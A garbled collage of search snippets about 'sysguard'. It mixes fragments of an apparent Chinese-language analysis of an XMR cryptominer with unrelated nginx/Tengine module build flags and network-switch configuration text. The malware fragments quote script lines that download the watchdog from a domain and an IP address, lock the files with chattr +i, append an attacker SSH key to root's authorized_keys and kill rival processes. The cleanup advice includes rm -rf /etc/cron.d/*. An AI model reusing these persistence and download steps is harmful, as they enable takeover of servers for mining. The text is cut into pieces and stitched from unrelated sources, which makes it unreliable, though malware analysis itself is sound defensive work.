sysguard downloads $watchdog_url /etc/sysguard $watchdog_url_backup else...fi chmod 777 /etc/sysguard ps -fe|grep sysguard |grep -v grep if [ $?...sysguard downloads $watchdog_url /tmp/sysguard $watchdog_url_backup else...fi ps -fe|grep sysguard |grep -v grep if [ $?.../sysguard & else echo "tmps runing....."
于是想着可能在/tmp下 (locate默认未索引这个目录),使用find /tmp -name sysupdate发现了程序,sysupdate, 同时还有 sysguard, networkservice...-ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh..." -ne "$watchdog_size" ] then pkill -f sysguard rm /etc/sysguard...fi chmod 777 /etc/sysguard ps -fe|grep sysguard |grep -v grep if [ $?.../sysguard & else echo "roots runing....."
-ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice" if [...=40.0) print $1}' | while read procid #查找所有PID中cpu大于40的 do cat /proc/$procid/cmdline| grep -a -E "sysguard...authorized_keys echo "ssh-rsa xxx root@u17" >> /root/.ssh/authorized_keys #写入公钥文件 依次对/etc/config.json|sysupdate|sysguard...download" fi else downloads $scan_url /etc/networkservice $scan_url_backup 对sysupdate|networkservice|sysguard
init.sh 下载): chmod 777 /tmp/networkservice chattr +i /tmp/networkservice chmod 777 /tmp/sysguard...chattr +i /tmp/sysguard iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp
E5DB0E07C3D7BE80V520/networkservice" scan_size="2584072" watchdog_url="https://de.gsearch.com.de/api/sysguard..." watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard" watchdog_size="1929480" ....: /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等; /etc/sysupdate:XMR挖矿程序主体; /etc/sysupdates:XMR挖矿程序主体备份; /etc/sysguard
with-http_realip_module --with-http_flv_module --with-http_mp4_module --with-http_concat_module=shared --with-http_sysguard_module...with-http_realip_module --with-http_flv_module --with-http_mp4_module --with-http_concat_module=shared --with-http_sysguard_module
漏洞传播相关代码 sysguard 模块 sysguard模块主要功能是更新C&C服务器地址,并且可以确保病毒持久化驻留中毒终端。
断网、备份重要的crontab,关闭或删除定时任务:systemctl stop crontab或 rm -rf /etc/cron.d/*;(大小一般为182) b)查看并杀掉病毒进程:同时杀掉sysguard
tengine-2.1.1/docs/modules/ngx_http_upstream_session_sticky_module.md tengine-2.1.1/docs/modules/ngx_http_sysguard.md
ngx_http_secure_link_module --with-http_degradation_module enable ngx_http_degradation_module --with-http_sysguard_module...enable ngx_http_sysguard_module --with-http_addition_module=shared enable ngx_http_addition_filter_module...shared enable ngx_http_secure_link_module (shared) --with-http_sysguard_module...=shared enable ngx_http_sysguard_module (shared) --with-http_charset_filter_module=shared
pkill x7 pkill cloudupdate pkill diskmanagerd pkill curl pkill jspserv pkill init pkill sysupdate pkill sysguard
通过在三层设备上打开sysguard功能,实现防止用户扫描和功能对网络的影响 通过在TRUNK接口上做VLAN的修剪,实现避免接收多余无用的广播信息 通过ACL技术,实现对用户应用及安全的控制 步骤 启用
modules/ngx_http_reqstat_module --add-module=modules/ngx_http_slice_module --add-module=modules/ngx_http_sysguard_module
/configure --user=www --group=www --prefix=/usr/local/nginx --with-http_sysguard_module --add-module
/configure --user=nginx --group=nginx --prefix=/usr/local/nginx --with-http_sysguard_module --add-module
worker_processes auto; worker_cpu_affinity auto; dso { load ngx_http_concat_module.so; load ngx_http_sysguard_module.so
阿里针对nginx开发的过载保护扩展插件sysguard:https://github.com/alibaba/nginx-http-sysguard 在 Java 层同样也可以设计过载保护。
--with-http_gzip_static_module --with-http_realip_module --with-google_perftools_module --with-http_sysguard_module
nginx+Sysguard:Nginx定制版waf nginx+HTTPGuard:Nginx定制版waf Apache+Mod_security:Mod_security其实支持Apache和Nginx
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